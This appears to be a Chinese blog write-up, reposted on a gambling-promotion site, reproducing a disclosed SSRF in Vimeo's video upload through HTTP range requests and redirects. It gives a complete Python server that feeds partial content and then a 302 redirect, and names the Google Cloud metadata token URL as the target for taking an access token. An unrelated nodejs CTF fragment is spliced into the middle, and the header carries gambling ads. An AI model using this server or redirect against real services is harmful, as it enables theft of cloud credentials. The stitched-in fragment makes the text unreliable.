Vimeo视频断点续传功能导致的SSRF漏洞复现 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Vimeo视频断点续传功能导致的SSRF漏洞复现

申博_安全防护 申博 34次浏览 已收录 0个评论

前言

前段时间hackerone上披露了一个Vimeo上的ssrf漏洞,原作者在medium上发表了上述的博文。我结合博文对这个漏洞进行了复现的尝试。这个漏洞主要利用了Vimeo支持云上传视频的功能。它在从云端请求视频时是通过文件链接直接拉取的,且没有对域名做校验。同时,为了支持大视频的上传,采用了断点续传的方式进行,在实现断点续传上存在响应302跳转的问题继而导致了有回显的SSRF。

断点续传

HTTP1.1协议(RFC 2616)开始支持获取文件的部分内容,这为并行下载以及断点续传提供了技术支持。一般针对大视频文件,都会采取这样的方式进行文件传输。它通过在header里两个参数实现。客户端发请求时对应的是Range服务器端响应时对应的是Content-Range

Range
用于请求头中,指定第一个字节的位置和最后一个字节的位置,一般格式:

Range:(unit=first byte pos)-[last byte pos]

Range头的格式有以下几种情况:

Range: bytes=0-499      表示第 0-499 字节范围的内容 
Range: bytes=500-999    表示第 500-999 字节范围的内容 
Range: bytes=-500       表示最后 500 字节的内容 
Range: bytes=500-       表示从第 500 字节开始到文件结束部分的内容 
Range: bytes=0-0,-1     表示第一个和最后一个字节 
Range: bytes=500-600,601-999  同时指定几个范围

Content-Range
用于响应头,在发出带Range的请求后,服务器会在Content-Range头部返回当前接受的范围和文件总大小。一般格式为:

Content-Range: bytes (unit first byte pos) - [last byte pos]/[entity legth]
Content-Range: bytes 0-499/22400 (例)

响应完成后,返回的响应头内容也不同:

HTTP/1.1 200 Ok
HTTP/1.1 2016 Partial Content(使用断点续传方式)

案例

Vimeo在实现视频上传功能时可以选择从Google Drive中上传。
通过抓取从Google Drive上传视频的请求,可以获得如下的请求,可以看到,Vimeo后端服务器从URL获取文件。
Vimeo视频断点续传功能导致的SSRF漏洞复现

一道有趣的关于nodejs的ctf题

首先,出题背景是公司要求我出一道简单的ctf题目,正好我最近在学习nodejs相关的东西,于是我就出了这道题目,题目源码,我已经打包上传到了GitHub上,如果有兴趣,可以下载下来,研究一下 这个题目开局是一个登陆页面 在这里你会想到什么呢?爆破?nononono~ 你要想到的是这是一道nodejs的题目啊,js本身就是一种弱类型语言,所以,你可以改变数据类型,来看看它会不会产生非预期的效果,你可以参考我以前翻译的过的文章 https://blog.csdn.net/niexinming/article/details/84889275 这篇文章中就介绍如何通过改变数据类型来绕过登录,所以,这个题目通过如下的方式就可以绕过登录: 首先抓包: 然

将请求中link换成VPS上的视频地址,发现是可以请求的。
Vimeo视频断点续传功能导致的SSRF漏洞复现

在VPS上抓取流量,可以发现采取的是断点续传的传输方式。
Vimeo视频断点续传功能导致的SSRF漏洞复现

那么就会存在一个SSRF的攻击方式。当vimeo请求文件一个大小为500B的文件时,若我的服务器仅响应200B的大小时,则它会存储这200B的内容,并请求剩下的文件。若我的服务器响应的不是200B的文件,而是一个跳转(redirect)请求呢?vimeo服务器会选择如何做呢?vimeo服务器会存储这个请求

可以编写一个响应跳转请求的web server,当vimeo请求完整的文件,只响应部分大小的文件,进行测试。

from http.server import BaseHTTPRequestHandler, HTTPServer

time = 3
length = 0

class testHTTPServer_RequestHandler(BaseHTTPRequestHandler):
    #GET
    def __init__(self,a,b,c):
        BaseHTTPRequestHandler.__init__(self,a,b,c)
    def do_GET(self):
        global time,length
        print(self.headers)
        if time == 3:
            self.send_response(206)
            self.send_header('Content-Range','bytes 0-0/20188184')
            self.end_headers()
            time -= 1
        elif time == 2:
            with open('part1','rb') as f:
                content = f.read()
            self.send_response(200)
            self.send_header('Content-Length',len(content))
            self.end_headers()
            self.wfile.write(content)
            time -= 1
        elif time == 1:
            lenth = 3
            self.send_response(302)
            self.send_header('Location','http://144.202.121.185/test.txt')
            self.end_headers()
            time -= 1
        else:
            with open('part2','rb') as f:
                content = f.read()
            content = content[length:]
            self.send_response(200)
            self.send_header('Content-Length',len(content))
            self.end_headers()
            self.wfile.write(content)
            time =3

def run():
    port = 80
    print('Starting server, port:',port)
    server_address=('',port)
    httpd=HTTPServer(server_address,testHTTPServer_RequestHandler)
    print('Running server...')
    httpd.serve_forever()

if __name__ == '__main__':
    run()

测试的结果如下,vimeo服务器的确是会先存储部分内容,然后请求剩下的
Vimeo视频断点续传功能导致的SSRF漏洞复现

上述是我复现漏洞的过程,由于302跳转的响应已经修复了,因此上述302跳转请求并未被存储。漏洞还存在时候的效果为,服务器会响应302跳转并将跳转后的内容作为视频的一部分保留下来。只要完成上传以后,下载original选项的视频即可获取到SSRF的内容(需要升级会员才能下载original的视频

在原报道中,由于这个Vimeo服务器是个谷歌云的实例,因此将响应的302跳转填写为http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token即可获得access token。
Vimeo视频断点续传功能导致的SSRF漏洞复现

小结

此攻击需要具备的条件:

  1. 后端服务器采用断点续传的方式请求大文件
  2. 后端服务器从URL中请求文件
  3. 后端服务器会响应断点续传中的302跳转

 


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Vimeo视频断点续传功能导致的SSRF漏洞复现
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址